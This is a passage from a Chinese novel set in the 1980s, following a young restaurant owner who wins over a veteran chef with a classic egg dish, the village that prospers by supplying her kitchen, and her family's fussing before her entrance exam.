不管厨师是谁,不管后厨换了多少厨师,只要有明确的菜谱,厨师只不过是复刻菜谱的工具人。 以前那种大厨一人就可决定酒楼生死的情况不复存在,取而代之的是,只要菜谱存在,无论走马灯似的换多少厨师,都不会影响到饭店的生意。 无论是他还是曹全安,亦或是贺明军,他们都不是饭店经营的决定性因素。 真正决定煤矿人家前途命运的,只有贺明珠一人,也唯有贺明珠。 她定的菜谱,她选的员工,也是她一手左右着饭店的生意。 即使她现在已经很少亲自主厨,但从后厨端出来的每一道菜上都无形铭刻着“贺明珠”三个字。 当冯解放还在感慨万千时,曹全安试图换个角度来和贺明珠辩论。 “就算你说得对,饭店最重要的是稳定。但你怎么确定按菜谱做出来的菜一定是最好吃的?” 贺明珠挑眉,带着几分骄傲地说:“因为这个菜谱是我定的。” 曹全安口不择言,忘了面前站着的是决定自己能否留下上班的老板。 “难道你定的菜谱就一定好吃吗?你得证明,你做一道菜证明给我们看!” 贺明珠笑了笑,说:“好啊。” 曹全安不相信这个年纪轻轻的小姑娘会比他这个三十几年的老厨子还会做饭,看看她那小细胳膊,拿得起菜刀、端得动大铁锅吗? 贺明珠语气一转,又说道:“但我有话在先,要是证明了我做的菜更好吃的话,曹师傅,你的工资就要少十块钱了。” 曹全安闻言呆住了。 啥,少十块钱? 那就是四十五块的月工资变成三十五块,和不需要外派到分矿的冯解放持平了? 曹全安一咬牙一跺脚,他就不信了,一个小姑娘做的饭会比自己更好吃! “行,要是你做的饭比我做的好吃,大不了,少十块钱就少十块钱!” 贺明珠推开椅子起身,要往厨房走 去时,身后又传来曹全安的声音。 “不过我还有个要求!” 贺明珠转身:“什么要求?” 曹全安说:“我们俩是选手,不能做裁判;老冯在你饭店里上班,他也不能做裁判。裁判得让顾客来当,还不能告诉他们哪道菜是你做的。” 贺明珠干脆地说:“没问题。” 她走进厨房,举起一颗鸡蛋,冲曹全安挥了挥。 “为表公平,我也用鸡蛋做一道菜。” 曹全安先是一喜,接着又是一惊。 她也要用鸡蛋做菜? 鸡蛋还能做出什么好吃的菜? 总不至于比他的酥黄菜还好吃吧? 还是说,她打着用鸡蛋做菜的名头,实际上用其他食材做菜? 想到这里,曹全安坐不住了,噌地一下站起来,三步两步追到了厨房,他得监督贺明珠做菜的全过程。 冯解放也跟了过来,低声道:“你怎么能这么和小老板说话?你这不是给自己找事儿呢吗?” 曹全安咬着牙说:“我做了一辈子菜,就不信还比不过一个小姑娘。让我照着菜谱做菜,我不甘心!” 冯解放不再说话,一个老厨子的执念,多说无用。 两人就看着贺明珠从放菜的大筐中拿出了几颗鸡蛋,敲碎壳后将鸡蛋液都倒进小盆中,加入白糖,又倒入绿豆淀粉调成的汁,筷子搅匀后过筛。 接着她用旺火热锅,锅烧得冒烟后倒入一大勺油,左右晃动锅把,将油均匀地涂抹在每一寸锅面后,将剩余的油都倒出来。 贺明珠将搅匀过筛后的鸡蛋液缓缓倒入油锅,一手转动锅把,一手翻炒蛋液,并在此过程中不断加入油,随炒随加,避免粘锅。 曹全安看着贺明珠的动作,不由得好奇地问冯解放:“你们小老板这做的是什么菜?我怎么从来没见过?” 冯解放没说话,眯着老花的眼睛,看着锅内的蛋液在高温作用下不断蒸发出水分,用液体逐渐变成半凝固,又从半凝固状态转为固体。 贺明珠的手腕细瘦,握着锅把的手却极为有力。 光是一个推炒的动作,她就重复了数百遍,十几分钟内动作都没有一丝一毫的变形。 高温的厨房,只见她头上的汗珠一滴滴流下来。 曹全安不再说话,心中却对贺明珠渐渐改观。 这个小老板,也不像表面那样弱不禁风啊,居然单手颠得动十多斤的大铁锅…… 随着贺明珠的动作,鸡蛋液从最开始稀糊糊的一滩,渐渐凝固起来,变成了金黄浑圆的半球,在油润的热锅里自在地滑来滑去。 曹全安见状,忽然想起什么,指着锅,磕磕巴巴地说:“这、这、这是……” 贺明珠单手操锅,将锅从灶台上拎起,微微倾斜,蛋糊顺着她的力道,顺滑地从锅上滑了下来,精准地落进了盘中。 “这道菜叫三不粘,两位师傅要尝尝吗?” 她举起盘子,笑眯眯地向门边站着的冯解放和曹全安示意。 曹全安已经震惊到几乎失语,喃喃道:“她怎么会做这道菜……” 三不粘是从清朝传下来的京城菜,过去自媒体不发达的时候,都是隆盛轩、同和居这种老字号酒楼的不传之秘,全国也没几个厨师会做这道菜。不少人更是只听说过,但从来没尝过。 据说日本天皇也馋这一口,首相访华时特地去店里还灌了一暖壶的三不粘,带回去给这老小子吃,后来不少日本人专程来同和居吃这一口天皇同款。 曹全安忙不迭地跨进厨房,冯解放紧随其后,两个围着锅台转了一辈子的老厨子目不转睛地盯着贺明珠手中这盘“三不粘”。 这就是传说中的“不粘盘,不粘筷,不粘牙”的三不粘吗? 雪白的瓷盘中,盛着一轮金黄色的圆月,色泽鲜艳,状若凝脂。凑近闻一闻,醇香扑鼻。 贺明珠端累了,把盘子随手放在桌上。盘中的明月随着她的动作微微颤动,似乎还在流淌中。 曹全安吞了下口水,敬畏地问:“老板,我、我能尝一口吗?” 贺明珠大方地说:“尝吧,随便尝。” 曹全安就拿了双干净筷子,轻轻去夹盘中的三不粘。 大概是他的动作太过小心,被夹起来的一小块三不粘从两根筷子间滑开,又回归了大部队。 曹全安一愣,重新去夹,这次他力气稍微大了些,这才夹下来了一小块三不粘。 他不急着吃,先体会了一下筷子传来的触感。 似糕非糕,似羹非羹,柔软而富有弹性,像是会流动的固体。 筷子间夹着的三不粘随着地心引力不断下坠,眼见要脱离筷子的控制了,曹全安急忙抻着脖子去接筷子上的三不粘。 嘶,这味道…… 入口后,三不粘吃起来极为甜爽嫩滑,几乎不用怎么嚼,就顺着嗓子眼咕咚滑进了胃里。 明明是高油高糖高脂的三高食物,可吃到嘴里却是软香油润,浓甜不腻,甚至因为不粘牙的特性,还有几分清爽利口。 曹全安吃完了三不粘,呆立原地,一时间,他那颗向来粗犷的内心竟感到满腔怅然。 贺明珠只用鸡蛋、白糖、油以及一点绿豆淀粉,就做出了一道清朝流传下来的名菜。 别看原材料简单,做菜手法也单一,不像酥黄菜要先煎后炸再裹糖浆,三不粘的制作全程只需要反复推炒,但对于厨师技艺的要求却极高,考的是真功夫,稍有差池端上桌的就不是一轮金黄的明月,而是一碗粘稠的稀糊糊。 和这个小姑娘相比,他这三十多年的厨师生涯简直像在浪费时间。 他还有脸去质疑人家的菜谱,真是猪油蒙了心,仗着年纪大,什么不要脸的事儿都敢干。 冯解放正在赞叹地品尝三不粘,余光却看见身旁的曹全安抽了自己两巴掌。 他惊道:“老曹,你这是在干什么?” 曹全安对贺明珠说:“小老板,我是有眼不识泰山,对不住,刚才多有得罪了……以后我就按您的菜谱做菜,绝无二话!” 冯解放摇摇头,笑叹道:“哎,这个老曹……” 贺明珠却说:“曹师傅,您是厨师界的前辈,我一个后进,以后有很多要向您请教的呢。毕竟按菜谱做菜只是为了保证出菜的稳定性,但论起好吃,菜谱就不是唯一标准了。您和冯师傅都是老厨师,手里有的是绝活儿,随随便便亮出来几道,就够客人们吃得高兴了。” 曹全安和冯解放对视一眼,眼中都是惊喜。 没想到小老板颇有胸怀,不但没有痛打落水狗,还温和地给这件事收了尾,给大家留足了面子。 这样的年纪,却有此等的心胸,真是让人佩服。 贺明珠接着说道:“以后啊,这菜谱不只由我来定,您两位也可以定,只要好吃,顾客反响好,这道菜就固定下来,成为我们饭店的特色菜。每被采用一个菜谱,就给提供菜谱的厨师发二十块的奖金,菜谱越多,奖金越多,上不设限。说不定到时候,奖金能比工资还高呢。” 听到贺明珠的话,曹全安不禁发自内心地露出一个笑来。 冯解放也说:“那感情好,我可得好好想想要出什么菜谱。” 曹全安重又振作起来,挤兑老友:“就你那手艺,我看这奖金是非我莫属了。” 他一边往出走,一边顺手抄起三不粘,对贺明珠说:“老板,这道菜我来负责清盘啊。” 冯解放追上去:“你这个老小子倒是狡猾,什么清盘,这不还有大半盘子没吃吗?” 两个老厨子的身影一前一后消失在厨房,隔着墙,还隐隐约约能听到老头们吵架。 “别抢,别抢,我还没吃几口呢!” “吃什么吃,你不是说要找顾客当裁判吗?现在裁判哪儿去了?” “要什么裁判,我一个人还不够吃呢!” “等等,最后一口是我的!” “嘿嘿,晚了,吃完咯~” 听着两个老顽童打闹,厨房里,贺明珠一边解开围裙,一边露出笑容。 太好了,又拐来一位有经验的老厨师,这下二哥就不会再 嚷嚷着要撞死在豆腐上了。 第89章 第89章许家村的改变 许家村。 许大舅走在村里的小路上,遇到的村人纷纷热情向他打招呼。 “吃了么?没吃到俺家吃点儿?今天家里做肉龙,香得很!” “去地里干活啊?俺家煮了绿豆汤,你喝一碗再去……” “三大爷,进俺家坐会儿,看看俺家的小菜地,茄子挂了果,长得可好嘞!” “也到俺家看看,今年种了二荆条,辣的很,闻一闻都受不了……” 许大舅咧着嘴,乐呵呵的,到这家尝一口肉龙,到那家喝一碗绿豆汤,再分别到种茄子和种辣椒的两家,看了看蔬果的成熟程度。 种茄子那家忙不迭地问:“三大爷,这茄子能不能给饭店送去?今年不留神种多了,俺自家可吃不了这么些个茄子啊。” 许大舅说:“这次不成,你先给俺拿上十斤,俺送到矿上让明珠看看,要是她说这茄子可以,那下次就多收些。” 种茄子那家高兴不已,摘了满当当一篮的茄子,也不称重量了,直接就塞给了许大舅。 许大舅一手接过篮子,另一只手从兜里掏出一把毛票,数了几张后要递给对方。 种茄子那家连连推拒:“几个茄子值什么钱,你拿去给明珠尝尝,都是自家亲戚,吃点茄子不算啥。” 许大舅很坚持,将钱往对方兜里一塞,说:“一码归一码,收菜有收菜的规矩,你种点菜也不容易,不能白拿你的东西。” 种茄子那家的人笑得满脸都是纹路,热情地送别许大舅。 “三大爷,以后常来家里啊……” 许大舅拎着一篮茄子出了门,转头又被种辣椒那家的塞了一布袋辣椒。 “拿上拿上,给明珠的,不值什么,拿回去尝尝吧,这辣椒可辣呢,炒完锅都是辣的。” 许大舅依旧是固执地把钱塞给对方,对方不收,还关起了院门。他瞅了个空子,把钱往门缝底下一塞,塞完赶紧走了。 等许大舅回家时,除了茄子辣椒,手里提溜着各式各样的蔬果,推门而进时,手上的西红柿没拿稳,pia地摔到了地上。 这西红柿熟透了,红嘟嘟的,皮薄馅大,这么一摔就摔成了番茄酱。 院里散养的鸡纷纷呼扇着翅膀赶到事发现场,低头猛啄地上的西红柿碎片,不一会儿就吃得干干净净。 大舅妈习以为常地接过许大舅带回来的篮子,单独放在一个大筐里,上面盖了层竹帘,预备第二天往矿上送菜时,把篮子里的蔬果一并送过去。 许大舅脱下身上穿着的旧军装,从大缸里舀了一瓢水,这水在太阳下晒了一天,触感温热,就着脸盆把头脸洗了一遍。 “这天儿可真是越来越热了。” 大舅妈递给他一块毛巾,问道:“明儿个你和贵生去矿上送菜?” 许大舅穿着大背心,拿毛巾呼噜了一把脸,这才说: “贵生赶车去分矿,俺坐公交去一矿,俺们俩分着走。” 大舅妈感叹道:“明珠这闺女现在真是越来越能干,从过年到现在这才多长时间,饭店开了两家不说,收的菜也越来越多了。弄得俺都不敢去别人家唠嗑,进门第一件事儿就是被人家拉去看菜地,接着就问收不收她家的菜,哎呦,俺哪能做得了这个主呢。” “俺这外甥女像她妈,俺姐打小就能干,读书种地样样都行,这村里有几个老娘们能有俺姐当年那么威风?一般二般的老爷们都比不上俺姐。” 许大舅还自夸了一句:“不是俺说,俺们许家的种就好,要不怎么老贺家的娶了俺姐后,就能生出四个好孩子呢?” 大舅妈撇撇嘴,和老头子斗嘴。 “你们许家的种好?那咋还能生出你儿子这懒汉?” 说曹操曹操到,许表哥敞着襟、趿拉着鞋,踢踢踏踏从外面回来。 他走路不看地,一脚踩在沾满了西红柿汁液的泥上,脚下一趔趄,站稳了就在干地上搓了搓鞋底,继续踢踏着走过来。 “爹,娘,你们咋还在家里,没下地干活?” 说着话,他熟门熟路地掀开竹帘,从篮子里掏出一个西红柿,也不洗,在衣服上蹭了两下就吃。 许大舅呵斥:“这是要给饭店送去的,谁让你吃了?家里地里有,你想吃去地里自己摘。” 许表哥权当没听见,赖赖唧唧地说:“这柿子不赖,比咱家的好吃,娘,再给俺拿俩呗。” 大舅妈摁住竹帘,连连摆手,说:“没有了,没有了!” 许表哥不肯走,在厨房里四处寻摸,打开柜子看看里面有没有剩饭剩菜。 见柜子里只有一碗早上没吃完的咸菜,许表哥也不拿筷子,直接上手捻了两块咸菜,往嘴里一丢。 许大舅看不惯他这德行,虎着脸说:“明天你跟俺去送菜,别一天天的就光吃不干,都是成家的人了,也该立起来!” 许表哥一听要干活,麻溜地就踢踏着鞋走了,临了还扔下一句: “爹,你别老想这些没用的,赶明儿俺给你生个孙子比什么都强。” 许大舅气得直喘气,大舅妈斜眼看他,来了一句:“许家的种好?” 许大舅:…… 正说着话呢,许巧燕从西厢房出来,把一麻袋的干粉条递给许大舅。 “爹,这是明珠之前要的红薯粉条,都晾干了,你明天上矿时捎给她。还有一袋子土豆淀粉,俺一会儿也拿过来。你去了矿上问问明珠,看看她还有啥要的。” 许大舅的脸色变好了些,问闺女:“你还忙得过来不?要是忙不过来,俺替你和明珠说说?” 许巧燕笑着说:“忙得过来,忙得过来!” 她看向院里空地上摆得满满当当的晒粉条的架子,这些都是她日夜不休的劳动成果。 做粉条是个辛苦活儿,面对堆成小山的土豆红薯,要洗,要绞碎研磨,还要过滤杂质,沉淀淀粉,每一步都是极为繁重的体力活儿。 但许巧燕却乐在其中。 人晒黑了,手变糙了,胳膊变粗了,经常累的一沾枕头就是呼噜声四起,可第二天鸡才叫了第一声,她就麻溜爬起了床。 小山似的土豆红薯一天天减少,接着又在某一天重新垒成了山,架子上的粉条由湿变干,全部腾空后,又挂上了新的湿漉漉还在滴水的粉条。 认识的人都说许巧燕的精神头看着比之前好多了,脸上的笑也多了,一张脸黑里透着红,虽然还是话不多,但看着就知道她心情不错。 从小到大的小姐妹偷偷问许巧燕:“你不惦记那个姓贾的了?” 许巧燕抓着水管子冲土豆上的泥,听了就说:“那鳖孙有什么好惦记的?再说了,俺现在自己挣钱养活闺女,忙得很,没空想起那个姓贾的。” 小姐妹替她高兴:“可不就是个鳖孙嘛,不记得最好,让他当他的城里人去,俺们在村里一样吃得好睡得香。城里有什么了不起的,吃个饭买个菜都要票,还比不上俺们村里呢,你说是不是?” 许巧燕就笑:“俺赶车去集市上卖粉条,城里大娘们十斤十斤地抢着买,一百多斤的粉条没一会儿就卖光了,没买着的还要跟俺上家里买呢。” 小姐妹们听了嘻嘻哈哈地笑,听说城里人买块豆腐还要豆腐票,还不如她们在村里自在呢。 粉条好吃不好做,十斤土豆才能出一斤粉条,中间制作程序繁杂,费时又费力。 表嫂跟着许巧燕做了一段时间后,累得都开始回奶,加上挣了点钱后就没动力了,自己臊眉耷眼地退出了粉条小作坊。 许巧燕一个人夜以继日地洗土豆、晒淀粉、压粉条,虽然有许大舅和大舅妈帮一把手,但两老年纪大了,主要干活的还是她。 累归累,许巧燕却在这样的劳累中获得了心灵上的满足。 一百斤的土豆变成了十斤的粉条,十斤的粉条又变成了一把毛票,一天接着一天,一月接着一月,许巧燕攒下的钱越来越多,越来越能满足母女俩的日常花销。 灵灵虽然没爹,但她日常吃的穿的用的一点都不比村里的其他孩子差,每天都有五分钱的零花钱,在村里的小孩中简直说得上是大富翁。 她不是个小气的孩子,在小卖部买了糖后,隔着糖纸拿石头把糖砸碎,分给其他小孩。 小孩们吃了糖高兴地在原地直蹦,追着灵灵喊“老大”。 灵灵这个小小的大姐头,就带着一群孩子每天在村里疯,村人们都稀罕道:“这小闺女像她姑奶奶,虎头虎脑的,有闯劲儿。” 灵灵的姑奶奶正是贺明珠的母亲许红梅。 还有人说:“这三大爷家的出息都在闺女身上,你看看红梅,再看看明珠 ,还有现在的巧燕和灵灵,这儿子是一点也指望不了。” 自从贺明珠开始在许家村收菜,刚开始收购的量不多,村里人只拿“红梅闺女开饭店”这件事当个新鲜谈资,没有太放在心上。 但之后随着煤矿人家的生意越来越好,还在分矿开了家新店,要收购的菜量就直线上升,从原来的几户人家就能凑够,到现在大半个村子都参与了进来。 而且贺明珠一向在钱上很清爽,不管是定金还是尾款,一分一毫都没有拖欠过,当天收的菜,当天就结算清楚,哪怕店里一时现金不够,现去银行取钱也要付清。 村里挣钱的机会少,能挣着稳定钱的机会更少。 有勤快人每逢初一十五就去集市上卖菜,但卖多少卖多长时间都说不准,有时候一车菜拉过去,原模原样地又拉了回来,还耽误了一天的地里活计。 之前也有人来村里收菜,但不是死命压价,就是拿了菜不给钱,专门坑这帮没见过世面的农村土包子。 相比之下,贺明珠这边收购的菜稳定量大,还从不拖欠菜钱,经手的人也都是乡里乡亲,不管从哪个方面来看,都是最佳选择。 因此,村人对收菜这事越来越上心,早早就在自家院里种上了蔬果,每一寸土地都没浪费。 有的人脑子转得快,找送菜的许大舅和许贵生打听消息,饭店吃的最多的是什么菜?客人们喜不喜欢吃辣椒?西红柿用得多不多? 还有人找机会就把自家菜推荐给许大舅,让他在送菜时捎到饭店,最好让贺明珠看中,这样家里的菜就不愁卖了。 贺明珠一向来者不拒,只要蔬果的质量好,通通买回来做菜,哪怕是现有菜单中用不上,她也要琢磨一道新菜出来。 煤矿人家的菜单随着时令不断更新,客人们能吃到最新鲜的蔬果;而村里人也不用担心种出的菜卖不出去,要么全家顿顿吃同一个菜,要么让好好的菜烂在地里。 地里的蔬果换成了真金实银的钞票,村人们挣到了钱,在青黄不接的时节可以不用太过于苛待肚子,和红薯土豆相爱相杀。而是可以拿钱和城里人换粮票,买粮食来填抱肚子。 许大舅作为收菜大管家以及贺明珠的亲大舅,在村里的人望一时间直线上升,都快比得上他之前当生产队长的时候了。 作为最大功臣,贺明珠在不知情的情况下被村里人夸成了花,从“这闺女就是厚道,开饭店还不忘拉一把乡亲”,到“红梅的闺女比她还能干,真是虎母无犬女”。 某天,村口的大槐树下,有人突发奇想:“你说咱们村是不是旺闺女?这小子们没见有几个出息的,反倒是闺女一个比一个强。你看看红梅,再到红梅闺女,还有现在的巧燕和灵灵……” 她又列举了村里其他几户人家的闺女,最后说:“闺女们一个都不差,小子们反倒一般了。靠儿子不一定能靠住,靠闺女那是一靠一个准。俺看啊,家里还是得有个闺女。” 有人就反驳:“谁说的,俺看贵生这小伙就不孬,说话做事利索得很。” 家里有儿子的老头老太太纷纷附和,说对啊对啊,一家里哪能没个男人,要是没儿子,家里谁传香火?谁来顶门立户? 说归说,村里人回了家,关上门就教育自家闺女:“你可要好好学习,将来你读到哪一步,家里就供到哪一步。俺看闺女也不比儿子差,说不准你老子娘以后就靠你了。” 闺女们也很有志气,纷纷说: “放心吧爹娘,俺肯定上进,以后就算没明珠姐那么能干,也不会差到哪儿去!” 村小的老师们下了课,在办公室聊天时,有老教师提起话头:“今年来上学的女生比往年都多啊。” 另一位老教师说:“去年辍学的几个女生,今年也都被家里送回来上课了,真是稀奇,这么多年了,头一回啊。” 年轻老师笑着说:“村里以前还有重男轻女的风气,现在连老头老太太都不怎么提这一茬了。都说儿子闺女都一样,不管是谁有出息,家里都沾光。” 老教师叹道:“这么多年的移风易俗工作做下来,今年才看到成效,可真是不容易。” 另一个本村的老师补了一句:“可不止是移风易俗的作用,还有别的呢。” 老教师好奇了:“还有什么?” 本村老师笑着说了两个字:“收菜!” 第90章 第90章中考前后 贺明珠要参加中考,最紧张的却是贺家三兄弟。 贺明国屋里屋外地来回转,嘴里不停念叨着:“铅笔削好了吗?橡皮拿了吗?钢笔的墨水都吸满了吗?准考证放哪儿了?” 贺明珠备考的书包被他检查了十几遍,想起点东西就拿起来再检查一遍,反反复复,看着比考生本人还慌。 过一会儿,他又进了小屋,拿着一把结婚时没散完的喜糖出来了,把糖都塞进书包里。 “考试的时候要是饿了就吃颗糖,糖纸上没字,我都检查过了。” 贺明军特意和曹全安换了班,前一天从分矿赶回来,天还没亮就钻进了厨房,和面剁馅儿做包子。 馅儿是两种,一荤一素,用的是最新鲜的肉和菜,绝对不会有一点变质。 之所以要在中考当天吃包子,都是他深思熟虑后的决定。 面条不行,汤汤水水的,吃完了万一考试中途想上厕所怎么办? 炒菜也不行,吃起来不方便,要是小妹早上起迟了,来不及坐下来吃早饭怎么办? 粥更不行,没营养,落到肚子里一时饱,消化消化就没了,哪支撑得起高强度的脑力运动? 琢磨来琢磨去,还是包子最好,有面有肉有菜,吃起来也方便,三口一个,不一会儿工夫就能填饱肚子。 贺明军也不嫌麻烦,大清早起来发面,怕剁馅儿声音吵醒贺明珠,做贼似的拿着菜刀一点点切。 随着天色逐渐亮起,厨房烟囱里冒起了烟。等掀开蒸笼,白雾似的蒸汽散得满屋子都是。 贺小弟蹑手蹑脚从炕上爬下来,从门帘下探头看看贺明珠,见她还在睡,就悄悄出了门,小心把门关严实。 小狗将军现在正处于尴尬期,长嘴尖脸,丑得像个猴,身上的奶毛没褪干净,秃一片毛一片的,仿佛是瘌痢头。 它从小被家里人宠爱,丝毫没有变丑的自觉,见了人就摇头晃尾巴地凑过来,哼唧着要讨食。 贺小弟急忙握住它的嘴筒子,手指在嘴前比划:“嘘嘘,姐在睡觉,你不能说话。” 小狗像是听懂他说的话,不哼唧了,甩头摆脱贺小弟的手,趁他不备,扒开屋门钻进了贺明珠的小隔间。 贺小弟急得低声喊:“将军,将军,快出来呀!” 不一会儿,屋子里传来贺明珠带着睡意的笑声。 “哪儿来的小丑狗,我都被你丑醒了……” 小狗汪汪叫了两声,又听到贺明珠的声音:“好好好,不说你丑了,走,起床吃饭去。” 贺明珠出了屋子,见院中桌子上已经摆上了饭。 自从天气热起来,吃饭的桌子就挪到了院里,平时不刮风不下雨的时候,一家人就在院中吃饭。 齐家红被抽调去监考,早早就出门了,临走前给贺明珠准备了几条干净的手帕,让她手 心出汗了就擦一擦。 贺家三兄弟一个端包子,一个拿书包,还有一个拉凳子,团团伺候贺明珠太后用餐。 贺明珠两手各被塞了一个包子,在三双炯炯有神目光中,她嘴角抽搐道: “只是中考而已,你们不用这么夸张吧……” 贺明国一板一眼地说:“不管是不是中考,每一场考试都要严肃对待。” 贺明军挤开他,说:“别管老大,他这会儿都快紧张傻了。放轻松,一场小考试而已,中午回来哥给你做好吃的。” 贺小弟急得直催促:“姐你快吃,将军要抢你的包子了!” 贺明珠拿脚拨开馋得直流口水的小狗,咬了一口包子,含糊不清地说: “放心吧,中考而已,我有信心。” 这倒不是贺明珠吹牛,虽然才重生半年多,但她对中考还是很有把握的。 八十年代的中考虽然录取率很低,但本身并不算难,知识点都中规中矩,不像后世在出题时专挑偏怪难的题目,生怕考生答对了题。 毕竟考试是随着时间的推移而变得越来越难,越是早期的考试,考起来就越容易。 随着考生们吃透考点,摸准出题人的思路,掌握复习方法和答题技巧,为了控制通过率,出题方就开始提高难度。 从原本死记硬背就可以答出的题目,变成需要理解后变通才能做得出的题目,再到专挑犄角旮旯的知识点出题,考试变得越来越难、越来越偏、越来越怪。 考试题目被加上了一层又一层的套路,考生们只能疲于奔命地追逐着出题人。 不管是升学考试,还是职业资格考试,亦或是公务员考试,做历年真题时,早期的考卷写起来都很顺手,越到后面写起来就越困难,而当年的考试更是难出新高度。 因此,贺明珠在经历过一系列高难度考试后,回过头再去参加八十年代的中考,简直是满级账号重回新手村。 她在做真题时,几乎要被淳朴真诚的出题人感动了。 好单纯……好不做作……没有一点套路,和后世那些妖艳贱货们完全不一样…… 虽然复习的时间只有短短半年,但贺明珠是一位临阵磨刀的高手。 她从应试教育中卷出来,又经历过大学的考试周,最擅长短时间内记忆大量知识点,曾创下一个月速通被称为“天下第一考”某职业资格考试的记录。 当年她也是下了苦功准备中考的,不少知识点还留在她的脑海深处,随着复习一点点浮现出来。 因此,当贺家三兄弟紧张得坐立不安时,贺明珠却很轻松,悠悠哉哉吃完了三个拳头大的包子。 贺家三兄弟一起将贺明珠送到了考场,说:“进去吧,我们在门口等你。” 贺明珠说:“别在门口站着了,多热啊。你们回去吧,把自行车留下,我中午自己骑回家。” 贺明国坚持要留,催贺明珠进考场。 “你要是做到难题慌了,就看看窗外,我们在这儿呢。” 贺明珠无奈笑了笑,这个大哥,怎么比她这个考生还紧张呢。 她接过挎包,朝兄弟们挥挥手,转身进了考场。 此时的分矿新店。 徐和平说:“小老板今天中考,也不知道她现在怎么样了?” 曹全安擦一把头上的汗,他人胖,怕热。 “你们老板可是个厉害姑娘,用不着你担心,我瞧着她啊,心里有谱着呢。” 徐和平想了想,说:“那倒是,她可不是个善茬,我看还是别替她担心了。” 他回想起自己是怎么被贺明珠拎到饭店当服务员的,不由得摇头。他当初第一面怎么就没看出来这姑娘不是个好惹的主儿呢? 郝宝根蹲在门口墙根下,听到里面曹师傅和徐小哥的话,在心里疯狂点头。 对对对,说得太对了!小老板就是戏文里说的笑面虎,母大虫! 这时,有人在店门口探了个脑袋进来,左右看看,问道:“有饭吗?” 曹全安一看墙上的表,早饭的时间过了,午饭的时间还没到,灶台的火还没烧,要是单招待这人的话,他还得去厨房现生火,就有点不太想搭理。 “有,有,店里啥都有,您里面坐!” 徐和平懒洋洋的没动,郝翠兰却热情地迎了上来。 客人却不进屋,上下打量她一遍,沙哑着嗓子说:“给我来碗面,不进屋,就在外面吃。” 曹全安老大不乐意地进了厨房,扬声叫郝翠兰进来生火烧水,自己则摔摔打打地和面。 “就你事儿多,净给我找活儿,这不还没到中午吃饭的时间点吗?” 郝翠兰蹲在地上拉风箱,不一会儿灶台的火就呼呼地燃了起来。 “有客人来吃饭,总不能把人家撵走吧?曹师傅,这俺得批评你,不能为了自己省事儿,该干的活儿就不干,这不是白拿工资、占饭店便宜吗?” 郝翠兰心直口快,有啥就说啥,偏偏她说的都在理,顶得曹全安说不出话来。 他气呼呼地揉面,随便摁了几下就摔到案板上,擀成面饼,草草切了几刀,抻了两下,随手就把面条丢进了锅里。 郝翠兰也生气,这城里来的老师傅咋不讲理呢。 明明都是厨师,曹师傅的架子摆得比二老板还大,都快分不清谁才是老板了。 她用力推拉风箱,灶台里的火苗呼呼地蹿了起来,烧尽的煤灰也被吹到了外面,厨房里都是烟。 徐和平站在厨房门口,被呛得咳嗽了好几声,拉着袖子掩住口鼻,闷声闷气地打了个圆场。 “翠兰,你这火再烧下去,厨房都要被点着了。还有曹师傅,你这面要是做的夹生了,客人可是要找店里麻烦的,到时候小老板知道了,能有咱们的好果子吃吗?” 他把贺明珠抬出来,厨房里剑拔弩张的两个人都冷静了些。 郝翠兰松开了风箱,不再泄愤似的使劲扇风,哼了一声,越过徐和平,头也不回离开了厨房。 徐和平笑着对曹全安说:“曹师傅,哪儿那么大的火气,消消火,别和小丫头片子置气。” 曹全安拿长筷搅了搅锅中的面条,半开玩笑半认真地抱怨: “这小丫头简直是老板眼线,我偷个懒不行,和客人说句话也不行,一天天的,不让我出厨房,就光围着锅台转悠了。” 徐和平嘴上说着:“村里的傻丫头,脑子里就一根筋,犟得很。” 心里想的却是,要是放你老曹出了厨房,以你的坏脾气,说不准什么时候就要和客人打起来。 郝翠兰这个认真到有些执拗的小村姑,歪打正着就克住了曹全安这个城里来的老油条。 面汤沸了两次,曹全安抄起笊篱将面条捞到碗里,又倒了一勺臊子,交给徐和平。 “行了,端出去吧。” 徐和平端着面碗出去前,曹全安又喊住他,满当当地夹了一碗咸菜,让他一并给客人送过去。 徐和平两手都被占住,开玩笑地说:“曹师傅怎么这次这么大方啊?我记得你之前可是看到客人多喝了两碗例汤都要生气。” 曹全安哼笑一声:“这店里东西又不是我家的,客人吃多少都随便。可要是我自家开的店,辣椒酱多舀一勺,我都得上去和他们吵一架。” 徐和平听了没话说,端着东西出去了。 这老曹抠门都没抠对地方,还和照顾生意的客人计较起了吃喝。 这就是为什么小老板在短短半年时间内连开两家饭店,他却连一家小饭馆的生意都支撑不下去。 店外空地,点面的客人坐在郝翠兰搬来的板凳上。 郝宝根好奇地偷偷盯着他看,这人可真怪,屋里明明有空桌子,他却非要在外面吃饭。 而且他穿着也很怪,初夏的天气还穿着厚外套,裤脚和鞋上沾满了泥巴,乱糟糟的头发上有几根草叶,看起来就像刚在野地里摸爬滚打完。 客人敏锐地觉察到郝宝根的视线,猛一回头,眼神冰冷,像开了刃的刀。 郝 宝根被吓了一跳,忙不迭地跳起来,随手抓了只鸡就往后院溜,嘴里嘟囔着: “杀鸡、杀鸡,我得赶紧把中午的鸡都杀了……” 徐和平端过来了面和咸菜,把两个碗递给客人,说:“您点的面,慢用啊。” 对方却并不接咸菜碗,抓过碗和筷子,像是饿极了,吃相凶狠,一分钟不到就将整碗面都倒进了肚子,看得徐和平目瞪口呆。 客人吃完了面站起身,把碗往椅子上一放,看看徐和平,又看看店内的几个人,右手缓缓摸向鼓囊囊的后腰。 徐和平以为他要付钱,便说:“肉臊手擀面九分钱一碗,您给我一毛,我给您找钱。” 客人还是不说话,也不掏钱,徐和平觉得这人有点奇怪,该不会是想赖账吧? 他上前一步,警惕地堵住对方可能逃跑的路线。 这时,远远地忽然传来一群人的声音,正是中午下班来吃饭的分矿职工们。 “和平,老曹今天准备做什么好菜?” “宝根开始杀鸡了没?让他多弄点鸡血出来,我要吃辣炒鸡血!” 听到人群喧闹的声音,客人脸色一变,手从后腰抽出来,绕过徐和平,转身就跑。 这人还真是吃白饭的? 徐和平当即就追上去:“哎,哎!别跑,你把饭钱付了!” 他自诩跑得不慢,但逃单的那家伙跑得居然更快,没一会儿工夫就不见了身影。 徐和平扶着膝盖喘气,眼前是看不见尽头的青纱帐,玉米长得密密麻麻,根本看不见人影。 他突然心生不安,面前绿油油的玉米地里像是潜藏了无限危险,本能催促着他快点远离。 徐和平最后看了一眼,转身返回饭店。 店内客人坐得满满当当,他走进厨房,悻悻地说:“没追上,叫那小子跑了。” 曹全安幸灾乐祸:“哈哈哈,我就说不招待这人,小郝非要搭理他,这下好了吧,白赔一碗面。” 